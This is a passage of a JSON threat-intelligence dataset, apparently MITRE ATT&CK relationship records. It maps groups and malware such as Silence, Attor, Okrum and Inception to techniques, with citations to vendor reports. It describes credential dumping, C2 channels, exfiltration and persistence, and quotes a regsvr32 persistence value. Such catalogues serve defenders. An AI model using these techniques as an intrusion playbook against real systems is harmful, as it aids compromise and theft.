                    "url": "https://www.group-ib.com/resources/threat-research/silence_moving-into-the-darkside.pdf",
                    "description": "Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020."
                }
            ],
            "description": "(Citation: Group IB Silence Sept 2018)",
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                    "url": "https://www.group-ib.com/resources/threat-research/silence_2.0.going_global.pdf",
                    "description": "Group-IB. (2019, August). Silence 2.0: Going Global. Retrieved May 5, 2020."
                }
            ],
            "description": "(Citation: Group IB Silence Aug 2019)",
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                }
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            "description": "[Silence](https://attack.mitre.org/groups/G0091) has used a valid certificate to sign their primary loader Silence.Downloader (aka TrueBot).(Citation: Group IB Silence Aug 2019)",
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                    "description": "Tomonaga, S.. (2018, June 8). PLEAD Downloader Used by BlackTech. Retrieved May 6, 2020."
                }
            ],
            "description": "[PLEAD](https://attack.mitre.org/software/S0435) has the ability to proxy network communications.(Citation: JPCert PLEAD Downloader June 2018)",
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                    "description": "Tomonaga, S.. (2018, June 8). PLEAD Downloader Used by BlackTech. Retrieved May 6, 2020."
                }
            ],
            "description": "[PLEAD](https://attack.mitre.org/software/S0435) has used RC4 encryption to download modules.(Citation: JPCert PLEAD Downloader June 2018)",
            "relationship_type": "uses",
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            "target_ref": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830",
            "external_references": [
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                    "description": "Bermejo, L., et al. (2017, June 22). Following the Trail of BlackTech\u2019s Cyber Espionage Campaigns. Retrieved May 5, 2020."
                }
            ],
            "description": "[PLEAD](https://attack.mitre.org/software/S0435) has the ability to list open windows on the compromised host.(Citation: TrendMicro BlackTech June 2017)",
            "relationship_type": "uses",
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                    "url": "https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html",
                    "description": "Tomonaga, S.. (2018, June 8). PLEAD Downloader Used by BlackTech. Retrieved May 6, 2020."
                }
            ],
            "description": "[PLEAD](https://attack.mitre.org/software/S0435) has the ability to upload and download files to and from an infected host.(Citation: JPCert PLEAD Downloader June 2018)",
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                    "description": "Su, V. et al. (2019, December 11). Waterbear Returns, Uses API Hooking to Evade Security. Retrieved February 22, 2021."
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                }
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                }
            ],
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                }
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                    "description": "Tomonaga, S.. (2019, September 18). Malware Used by BlackTech after Network Intrusion. Retrieved May 6, 2020."
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            "description": "[Kivars](https://attack.mitre.org/software/S0437) has the ability to initiate keylogging on the infected host.(Citation: TrendMicro BlackTech June 2017)",
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            "description": "[Kivars](https://attack.mitre.org/software/S0437) has the ability to download and execute files.(Citation: TrendMicro BlackTech June 2017)",
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                    "description": "US-CERT. (2020, February 20). MAR-10271944-1.v1 \u2013 North Korean Trojan: HOTCROISSANT. Retrieved May 1, 2020."
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                    "description": "Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020."
                }
            ],
            "description": "[Attor](https://attack.mitre.org/software/S0438) can set attributes of log files and directories to HIDDEN, SYSTEM, ARCHIVE, or a combination of those.(Citation: ESET Attor Oct 2019)",
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            "description": "[Attor](https://attack.mitre.org/software/S0438) has automatically collected data about the compromised system.(Citation: ESET Attor Oct 2019)",
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                }
            ],
            "description": "[Attor](https://attack.mitre.org/software/S0438)'s installer plugin can schedule rundll32.exe to load the dispatcher.(Citation: ESET Attor Oct 2019)",
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            ],
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                }
            ],
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                }
            ],
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                }
            ],
            "description": "[Attor](https://attack.mitre.org/software/S0438) can download additional plugins, updates and other files. (Citation: ESET Attor Oct 2019)",
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                }
            ],
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            ],
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            ],
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                }
            ],
            "description": "[Attor](https://attack.mitre.org/software/S0438) has encrypted data symmetrically using a randomly generated Blowfish (OFB) key which is encrypted with a public RSA key.(Citation: ESET Attor Oct 2019)",
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                }
            ],
            "description": "[Attor](https://attack.mitre.org/software/S0438) has used Tor for C2 communication.(Citation: ESET Attor Oct 2019)",
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                }
            ],
            "description": "[Attor](https://attack.mitre.org/software/S0438)'s dispatcher can execute additional plugins by loading the respective DLLs.(Citation: ESET Attor Oct 2019)",
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            "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670",
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            ],
            "description": "[Attor](https://attack.mitre.org/software/S0438)'s dispatcher has used CreateProcessW API for execution.(Citation: ESET Attor Oct 2019)",
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                }
            ],
            "description": "[Attor](https://attack.mitre.org/software/S0438) has exfiltrated data over the C2 channel.(Citation: ESET Attor Oct 2019)",
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                }
            ],
            "description": "[Attor](https://attack.mitre.org/software/S0438) performs the injection by attaching its code into the APC queue using NtQueueApcThread API.(Citation: ESET Attor Oct 2019)",
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            "target_ref": "attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b",
            "external_references": [
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                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf",
                    "description": "Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020."
                }
            ],
            "description": "[Attor](https://attack.mitre.org/software/S0438) has used FTP protocol for C2 communication.(Citation: ESET Attor Oct 2019)",
            "relationship_type": "uses",
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            "source_ref": "malware--8f423bd7-6ca7-4303-9e85-008c7ad5fdaa",
            "target_ref": "attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9",
            "external_references": [
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                    "source_name": "ESET Attor Oct 2019",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf",
                    "description": "Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020."
                }
            ],
            "description": "[Attor](https://attack.mitre.org/software/S0438) has a file uploader plugin that automatically exfiltrates the collected data and log files to the C2 server.(Citation: ESET Attor Oct 2019)",
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            "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
            "external_references": [
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                    "source_name": "ESET Attor Oct 2019",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf",
                    "description": "Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020."
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            ],
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            ],
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                }
            ],
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                }
            ],
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            ],
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                }
            ],
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                }
            ],
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            ],
            "description": "To establish persistence, [Okrum](https://attack.mitre.org/software/S0439) can install itself as a new service named NtmSsvc.(Citation: ESET Okrum July 2019)",
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            ],
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            ],
            "description": "[Okrum](https://attack.mitre.org/software/S0439) was seen using MimikatzLite to perform credential dumping.(Citation: ESET Okrum July 2019)",
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                }
            ],
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                {
                    "source_name": "QiAnXin APT-C-36 Feb2019",
                    "url": "https://web.archive.org/web/20190625182633if_/https://ti.360.net/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations-en/",
                    "description": "QiAnXin Threat Intelligence Center. (2019, February 18). APT-C-36: Continuous Attacks Targeting Colombian Government Institutions and Corporations. Retrieved May 5, 2020."
                }
            ],
            "description": "[Imminent Monitor](https://attack.mitre.org/software/S0434) has a PasswordRecoveryPacket module for recovering browser passwords.(Citation: QiAnXin APT-C-36 Feb2019)",
            "relationship_type": "uses",
            "id": "relationship--14307b7b-0837-4c15-a959-0c8d24e05b6b",
            "type": "relationship",
            "modified": "2020-10-14T14:40:36.590Z",
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        },
        {
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            ],
            "source_ref": "intrusion-set--c4d50cdf-87ce-407d-86d8-862883485842",
            "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c",
            "external_references": [
                {
                    "source_name": "QiAnXin APT-C-36 Feb2019",
                    "url": "https://web.archive.org/web/20190625182633if_/https://ti.360.net/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations-en/",
                    "description": "QiAnXin Threat Intelligence Center. (2019, February 18). APT-C-36: Continuous Attacks Targeting Colombian Government Institutions and Corporations. Retrieved May 5, 2020."
                }
            ],
            "description": "[APT-C-36](https://attack.mitre.org/groups/G0099) has disguised its scheduled tasks as those used by Google.(Citation: QiAnXin APT-C-36 Feb2019)",
            "relationship_type": "uses",
            "id": "relationship--5cabd775-7d78-4150-b529-bb8cfb747013",
            "type": "relationship",
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        },
        {
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            "target_ref": "malware--4b6ec280-7bbb-48ff-ae59-b189520ebe83",
            "external_references": [
                {
                    "source_name": "ESET Okrum July 2019",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf",
                    "description": "Hromcova, Z. (2019, July). OKRUM AND KETRICAN: AN OVERVIEW OF RECENT KE3CHANG GROUP ACTIVITY. Retrieved May 6, 2020."
                }
            ],
            "description": "(Citation: ESET Okrum July 2019)",
            "relationship_type": "uses",
            "id": "relationship--0ee0af6e-c913-406e-9439-f40f5102cae7",
            "type": "relationship",
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        },
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            ],
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            "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
            "external_references": [
                {
                    "source_name": "QiAnXin APT-C-36 Feb2019",
                    "url": "https://web.archive.org/web/20190625182633if_/https://ti.360.net/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations-en/",
                    "description": "QiAnXin Threat Intelligence Center. (2019, February 18). APT-C-36: Continuous Attacks Targeting Colombian Government Institutions and Corporations. Retrieved May 5, 2020."
                }
            ],
            "description": "[APT-C-36](https://attack.mitre.org/groups/G0099) has embedded a VBScript within a malicious Word document which is executed upon the document opening.(Citation: QiAnXin APT-C-36 Feb2019)",
            "relationship_type": "uses",
            "id": "relationship--d4922804-7216-4e83-b0c0-6e61b09d5fc0",
            "type": "relationship",
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        },
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            "source_ref": "intrusion-set--c4d50cdf-87ce-407d-86d8-862883485842",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "external_references": [
                {
                    "source_name": "QiAnXin APT-C-36 Feb2019",
                    "url": "https://web.archive.org/web/20190625182633if_/https://ti.360.net/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations-en/",
                    "description": "QiAnXin Threat Intelligence Center. (2019, February 18). APT-C-36: Continuous Attacks Targeting Colombian Government Institutions and Corporations. Retrieved May 5, 2020."
                }
            ],
            "description": "[APT-C-36](https://attack.mitre.org/groups/G0099) has downloaded binary data from a specified domain after the malicious document is opened.(Citation: QiAnXin APT-C-36 Feb2019)",
            "relationship_type": "uses",
            "id": "relationship--c3bedbae-b1e1-4a35-8c59-d181dca093e4",
            "type": "relationship",
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        },
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            "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81",
            "external_references": [
                {
                    "source_name": "Group IB Silence Sept 2018",
                    "url": "https://www.group-ib.com/resources/threat-research/silence_moving-into-the-darkside.pdf",
                    "description": "Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020."
                }
            ],
            "description": "[Silence](https://attack.mitre.org/groups/G0091) has used compromised credentials to log on to other systems and escalate privileges.(Citation: Group IB Silence Sept 2018)",
            "relationship_type": "uses",
            "id": "relationship--9569bfcd-38f8-4cb7-8470-a473ea9e4328",
            "type": "relationship",
            "modified": "2020-05-08T17:01:36.095Z",
            "created": "2020-05-08T17:01:36.095Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321",
            "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
            "external_references": [
                {
                    "source_name": "Group IB Silence Sept 2018",
                    "url": "https://www.group-ib.com/resources/threat-research/silence_moving-into-the-darkside.pdf",
                    "description": "Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020."
                }
            ],
            "description": "[Silence](https://attack.mitre.org/groups/G0091) has named its backdoor \"WINWORD.exe\".(Citation: Group IB Silence Sept 2018)",
            "relationship_type": "uses",
            "id": "relationship--e3038b75-63f6-44c2-9645-673bbf0ffa3b",
            "type": "relationship",
            "modified": "2020-05-08T17:01:36.105Z",
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        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321",
            "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
            "external_references": [
                {
                    "source_name": "Group IB Silence Sept 2018",
                    "url": "https://www.group-ib.com/resources/threat-research/silence_moving-into-the-darkside.pdf",
                    "description": "Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020."
                }
            ],
            "description": "[Silence](https://attack.mitre.org/groups/G0091) can create, delete, or modify a specified Registry key or value.(Citation: Group IB Silence Sept 2018)",
            "relationship_type": "uses",
            "id": "relationship--396a5415-67aa-4ec6-ae27-6be641d69e15",
            "type": "relationship",
            "modified": "2020-05-08T17:01:36.122Z",
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        {
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            ],
            "source_ref": "intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321",
            "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90",
            "external_references": [
                {
                    "source_name": "Group IB Silence Sept 2018",
                    "url": "https://www.group-ib.com/resources/threat-research/silence_moving-into-the-darkside.pdf",
                    "description": "Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020."
                }
            ],
            "description": "[Silence](https://attack.mitre.org/groups/G0091) has used the Farse6.1 utility (based on [Mimikatz](https://attack.mitre.org/software/S0002)) to extract credentials from lsass.exe.(Citation: Group IB Silence Sept 2018)",
            "relationship_type": "uses",
            "id": "relationship--a9c366b6-270d-4884-86dd-7c048460741b",
            "type": "relationship",
            "modified": "2020-05-13T19:31:54.362Z",
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        },
        {
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            ],
            "source_ref": "intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321",
            "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735",
            "external_references": [
                {
                    "source_name": "Group IB Silence Sept 2018",
                    "url": "https://www.group-ib.com/resources/threat-research/silence_moving-into-the-darkside.pdf",
                    "description": "Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020."
                }
            ],
            "description": "[Silence](https://attack.mitre.org/groups/G0091) has used Nmap to scan the corporate network, build a network topology, and identify vulnerable hosts.(Citation: Group IB Silence Sept 2018)\t",
            "relationship_type": "uses",
            "id": "relationship--a6dc02a8-2ce3-45db-a7e5-e475d6acec3c",
            "type": "relationship",
            "modified": "2020-05-08T17:01:36.139Z",
            "created": "2020-05-08T17:01:36.139Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321",
            "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf",
            "external_references": [
                {
                    "source_name": "Group IB Silence Sept 2018",
                    "url": "https://www.group-ib.com/resources/threat-research/silence_moving-into-the-darkside.pdf",
                    "description": "Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020."
                }
            ],
            "description": "[Silence](https://attack.mitre.org/groups/G0091) has used RDP for lateral movement.(Citation: Group IB Silence Sept 2018)\t",
            "relationship_type": "uses",
            "id": "relationship--5cc793b0-cc45-439e-a994-c8884ca55fe7",
            "type": "relationship",
            "modified": "2020-05-08T17:01:36.169Z",
            "created": "2020-05-08T17:01:36.169Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "external_references": [
                {
                    "source_name": "Group IB Silence Sept 2018",
                    "url": "https://www.group-ib.com/resources/threat-research/silence_moving-into-the-darkside.pdf",
                    "description": "Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020."
                }
            ],
            "description": "[Silence](https://attack.mitre.org/groups/G0091) has downloaded additional modules and malware to victim\u2019s machines.(Citation: Group IB Silence Sept 2018)\t",
            "relationship_type": "uses",
            "id": "relationship--948146db-f966-4e0c-bbb2-289e2eae6718",
            "type": "relationship",
            "modified": "2020-05-08T17:01:36.171Z",
            "created": "2020-05-08T17:01:36.171Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--ead23196-d7b6-4ce6-a124-4ab4b67d81bd",
            "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597",
            "external_references": [
                {
                    "source_name": "Kaspersky Cloud Atlas December 2014",
                    "url": "https://securelist.com/cloud-atlas-redoctober-apt-is-back-in-style/68083/",
                    "description": "GReAT. (2014, December 10). Cloud Atlas: RedOctober APT is back in style. Retrieved May 8, 2020."
                },
                {
                    "source_name": "Symantec Inception Framework March 2018",
                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/inception-framework-hiding-behind-proxies",
                    "description": "Symantec. (2018, March 14). Inception Framework: Alive and Well, and Hiding Behind Proxies. Retrieved May 8, 2020."
                },
                {
                    "source_name": "Unit 42 Inception November 2018",
                    "url": "https://unit42.paloaltonetworks.com/unit42-inception-attackers-target-europe-year-old-office-vulnerability/",
                    "description": "Lancaster, T. (2018, November 5). Inception Attackers Target Europe with Year-old Office Vulnerability. Retrieved May 8, 2020."
                },
                {
                    "source_name": "Kaspersky Cloud Atlas August 2019",
                    "url": "https://securelist.com/recent-cloud-atlas-activity/92016/",
                    "description": "GReAT. (2019, August 12). Recent Cloud Atlas activity. Retrieved May 8, 2020."
                }
            ],
            "description": "[Inception](https://attack.mitre.org/groups/G0100) has used weaponized documents attached to spearphishing emails for reconnaissance and initial compromise.(Citation: Kaspersky Cloud Atlas December 2014)(Citation: Symantec Inception Framework March 2018)(Citation: Unit 42 Inception November 2018)(Citation: Kaspersky Cloud Atlas August 2019)",
            "relationship_type": "uses",
            "id": "relationship--42580e44-781d-467d-b131-45f7d4651d0a",
            "type": "relationship",
            "modified": "2020-05-12T15:18:43.918Z",
            "created": "2020-05-08T17:17:37.627Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--ead23196-d7b6-4ce6-a124-4ab4b67d81bd",
            "target_ref": "tool--b76b2d94-60e4-4107-a903-4a3a7622fb3b",
            "external_references": [
                {
                    "source_name": "Kaspersky Cloud Atlas August 2019",
                    "url": "https://securelist.com/recent-cloud-atlas-activity/92016/",
                    "description": "GReAT. (2019, August 12). Recent Cloud Atlas activity. Retrieved May 8, 2020."
                }
            ],
            "description": "(Citation: Kaspersky Cloud Atlas August 2019)",
            "relationship_type": "uses",
            "id": "relationship--9b2caa3d-10ae-471b-b0b1-527fbcd006ec",
            "type": "relationship",
            "modified": "2020-05-08T17:17:37.635Z",
            "created": "2020-05-08T17:17:37.635Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--ead23196-d7b6-4ce6-a124-4ab4b67d81bd",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "external_references": [
                {
                    "source_name": "Symantec Inception Framework March 2018",
                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/inception-framework-hiding-behind-proxies",
                    "description": "Symantec. (2018, March 14). Inception Framework: Alive and Well, and Hiding Behind Proxies. Retrieved May 8, 2020."
                }
            ],
            "description": "[Inception](https://attack.mitre.org/groups/G0100) has used a reconnaissance module to gather information about the operating system and hardware on the infected host.(Citation: Symantec Inception Framework March 2018)",
            "relationship_type": "uses",
            "id": "relationship--4b3f85b7-a7a4-446f-a3cb-d922268ee879",
            "type": "relationship",
            "modified": "2020-05-08T20:02:19.454Z",
            "created": "2020-05-08T18:41:16.342Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--ead23196-d7b6-4ce6-a124-4ab4b67d81bd",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "external_references": [
                {
                    "source_name": "Symantec Inception Framework March 2018",
                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/inception-framework-hiding-behind-proxies",
                    "description": "Symantec. (2018, March 14). Inception Framework: Alive and Well, and Hiding Behind Proxies. Retrieved May 8, 2020."
                }
            ],
            "description": "[Inception](https://attack.mitre.org/groups/G0100) has used a reconnaissance module to identify active processes and other associated loaded modules.(Citation: Symantec Inception Framework March 2018)",
            "relationship_type": "uses",
            "id": "relationship--cece5cb5-3837-4551-be22-5c27b63eae63",
            "type": "relationship",
            "modified": "2020-05-12T15:21:21.632Z",
            "created": "2020-05-08T18:41:16.415Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--ead23196-d7b6-4ce6-a124-4ab4b67d81bd",
            "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665",
            "external_references": [
                {
                    "source_name": "Kaspersky Cloud Atlas December 2014",
                    "url": "https://securelist.com/cloud-atlas-redoctober-apt-is-back-in-style/68083/",
                    "description": "GReAT. (2014, December 10). Cloud Atlas: RedOctober APT is back in style. Retrieved May 8, 2020."
                },
                {
                    "source_name": "Symantec Inception Framework March 2018",
                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/inception-framework-hiding-behind-proxies",
                    "description": "Symantec. (2018, March 14). Inception Framework: Alive and Well, and Hiding Behind Proxies. Retrieved May 8, 2020."
                }
            ],
            "description": "[Inception](https://attack.mitre.org/groups/G0100) has incorporated at least five different cloud service providers into their C2 infrastructure including CloudMe.(Citation: Kaspersky Cloud Atlas December 2014)(Citation: Symantec Inception Framework March 2018)",
            "relationship_type": "uses",
            "id": "relationship--16d59476-9fff-413f-9dbe-5c9e43c3860d",
            "type": "relationship",
            "modified": "2020-05-20T20:54:12.843Z",
            "created": "2020-05-08T18:41:16.417Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--ead23196-d7b6-4ce6-a124-4ab4b67d81bd",
            "target_ref": "attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab",
            "external_references": [
                {
                    "source_name": "Kaspersky Cloud Atlas December 2014",
                    "url": "https://securelist.com/cloud-atlas-redoctober-apt-is-back-in-style/68083/",
                    "description": "GReAT. (2014, December 10). Cloud Atlas: RedOctober APT is back in style. Retrieved May 8, 2020."
                }
            ],
            "description": "[Inception](https://attack.mitre.org/groups/G0100) has ensured persistence at system boot by setting the value <code>regsvr32 %path%\\ctfmonrn.dll /s</code>.(Citation: Kaspersky Cloud Atlas December 2014)",
            "relationship_type": "uses",
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                {
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                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/inception-framework-hiding-behind-proxies",
                    "description": "Symantec. (2018, March 14). Inception Framework: Alive and Well, and Hiding Behind Proxies. Retrieved May 8, 2020."
                }
            ],
            "description": "[Inception](https://attack.mitre.org/groups/G0100) has used specific malware modules to gather domain membership.(Citation: Symantec Inception Framework March 2018)",
            "relationship_type": "uses",
            "id": "relationship--bcf90f77-1b2b-46e2-914b-051e51a2d409",
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                    "url": "https://securelist.com/cloud-atlas-redoctober-apt-is-back-in-style/68083/",
                    "description": "GReAT. (2014, December 10). Cloud Atlas: RedOctober APT is back in style. Retrieved May 8, 2020."
                }
            ],
            "description": "[Inception](https://attack.mitre.org/groups/G0100) has encrypted network communications with AES.(Citation: Kaspersky Cloud Atlas December 2014)",
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            "id": "relationship--cd89dfdb-5c48-4a91-ba2f-e3c6e74c5094",
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                    "source_name": "Kaspersky Cloud Atlas December 2014",
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                    "description": "GReAT. (2014, December 10). Cloud Atlas: RedOctober APT is back in style. Retrieved May 8, 2020."
                }
            ],
            "description": "[Inception](https://attack.mitre.org/groups/G0100) has maintained persistence by modifying Registry run key value \n <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\</code>.(Citation: Kaspersky Cloud Atlas December 2014)",
            "relationship_type": "uses",
            "id": "relationship--1215a807-77b4-465e-9c82-c4f023e668da",
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            "external_references": [
                {
                    "source_name": "Symantec Inception Framework March 2018",
                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/inception-framework-hiding-behind-proxies",
                    "description": "Symantec. (2018, March 14). Inception Framework: Alive and Well, and Hiding Behind Proxies. Retrieved May 8, 2020."
                }
            ],
            "description": "[Inception](https://attack.mitre.org/groups/G0100) used chains of compromised routers to proxy C2 communications between them and cloud service providers.(Citation: Symantec Inception Framework March 2018)",
            "relationship_type": "uses",
            "id": "relationship--3bd9165f-6f5f-4c1a-bdbf-47c733d577a8",
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                {
                    "source_name": "Kaspersky Cloud Atlas December 2014",
                    "url": "https://securelist.com/cloud-atlas-redoctober-apt-is-back-in-style/68083/",
                    "description": "GReAT. (2014, December 10). Cloud Atlas: RedOctober APT is back in style. Retrieved May 8, 2020."
                },
                {
                    "source_name": "Kaspersky Cloud Atlas August 2019",
                    "url": "https://securelist.com/recent-cloud-atlas-activity/92016/",
                    "description": "GReAT. (2019, August 12). Recent Cloud Atlas activity. Retrieved May 8, 2020."
                },
                {
                    "source_name": "Symantec Inception Framework March 2018",
                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/inception-framework-hiding-behind-proxies",
                    "description": "Symantec. (2018, March 14). Inception Framework: Alive and Well, and Hiding Behind Proxies. Retrieved May 8, 2020."
                },
                {
                    "source_name": "Unit 42 Inception November 2018",
                    "url": "https://unit42.paloaltonetworks.com/unit42-inception-attackers-target-europe-year-old-office-vulnerability/",
                    "description": "Lancaster, T. (2018, November 5). Inception Attackers Target Europe with Year-old Office Vulnerability. Retrieved May 8, 2020."
                }
            ],
            "description": "[Inception](https://attack.mitre.org/groups/G0100) lured victims into clicking malicious files for machine reconnaissance and to execute malware.(Citation: Kaspersky Cloud Atlas December 2014)(Citation: Kaspersky Cloud Atlas August 2019)(Citation: Symantec Inception Framework March 2018)(Citation: Unit 42 Inception November 2018)",
            "relationship_type": "uses",
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                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/inception-framework-hiding-behind-proxies",
                    "description": "Symantec. (2018, March 14). Inception Framework: Alive and Well, and Hiding Behind Proxies. Retrieved May 8, 2020."
                }
            ],
            "description": "[Inception](https://attack.mitre.org/groups/G0100) used a browser plugin to steal passwords and sessions from Internet Explorer, Chrome, Opera, Firefox, Torch, and Yandex.(Citation: Symantec Inception Framework March 2018)",
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            "external_references": [
                {
                    "source_name": "Kaspersky Cloud Atlas December 2014",
                    "url": "https://securelist.com/cloud-atlas-redoctober-apt-is-back-in-style/68083/",
                    "description": "GReAT. (2014, December 10). Cloud Atlas: RedOctober APT is back in style. Retrieved May 8, 2020."
                },
                {
                    "source_name": "Unit 42 Inception November 2018",
                    "url": "https://unit42.paloaltonetworks.com/unit42-inception-attackers-target-europe-year-old-office-vulnerability/",
                    "description": "Lancaster, T. (2018, November 5). Inception Attackers Target Europe with Year-old Office Vulnerability. Retrieved May 8, 2020."
                }
            ],
            "description": "[Inception](https://attack.mitre.org/groups/G0100) has used HTTP, HTTPS, and WebDav in network communications.(Citation: Kaspersky Cloud Atlas December 2014)(Citation: Unit 42 Inception November 2018)",
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                    "source_name": "Kaspersky Cloud Atlas August 2019",
                    "url": "https://securelist.com/recent-cloud-atlas-activity/92016/",
                    "description": "GReAT. (2019, August 12). Recent Cloud Atlas activity. Retrieved May 8, 2020."
                },
                {
                    "source_name": "Kaspersky Cloud Atlas December 2014",
                    "url": "https://securelist.com/cloud-atlas-redoctober-apt-is-back-in-style/68083/",
                    "description": "GReAT. (2014, December 10). Cloud Atlas: RedOctober APT is back in style. Retrieved May 8, 2020."
                },
                {
                    "source_name": "Symantec Inception Framework March 2018",
                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/inception-framework-hiding-behind-proxies",
                    "description": "Symantec. (2018, March 14). Inception Framework: Alive and Well, and Hiding Behind Proxies. Retrieved May 8, 2020."
                },
                {
                    "source_name": "Unit 42 Inception November 2018",
                    "url": "https://unit42.paloaltonetworks.com/unit42-inception-attackers-target-europe-year-old-office-vulnerability/",
                    "description": "Lancaster, T. (2018, November 5). Inception Attackers Target Europe with Year-old Office Vulnerability. Retrieved May 8, 2020."
                }
            ],
            "description": "[Inception](https://attack.mitre.org/groups/G0100) has exploited CVE-2012-0158, CVE-2014-1761, CVE-2017-11882 and CVE-2018-0802 for execution.(Citation: Kaspersky Cloud Atlas August 2019)(Citation: Kaspersky Cloud Atlas December 2014)(Citation: Symantec Inception Framework March 2018)(Citation: Unit 42 Inception November 2018)",
            "relationship_type": "uses",
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                    "description": "Symantec. (2018, March 14). Inception Framework: Alive and Well, and Hiding Behind Proxies. Retrieved May 8, 2020."
                }
            ],
            "description": "[Inception](https://attack.mitre.org/groups/G0100) used a file listing plugin to collect information about file and directories both on local and remote drives.(Citation: Symantec Inception Framework March 2018)",
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            "id": "relationship--40e6721c-f5fd-4c51-aec9-93b70e7e312c",
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                    "url": "https://securelist.com/cloud-atlas-redoctober-apt-is-back-in-style/68083/",
                    "description": "GReAT. (2014, December 10). Cloud Atlas: RedOctober APT is back in style. Retrieved May 8, 2020."
                }
            ],
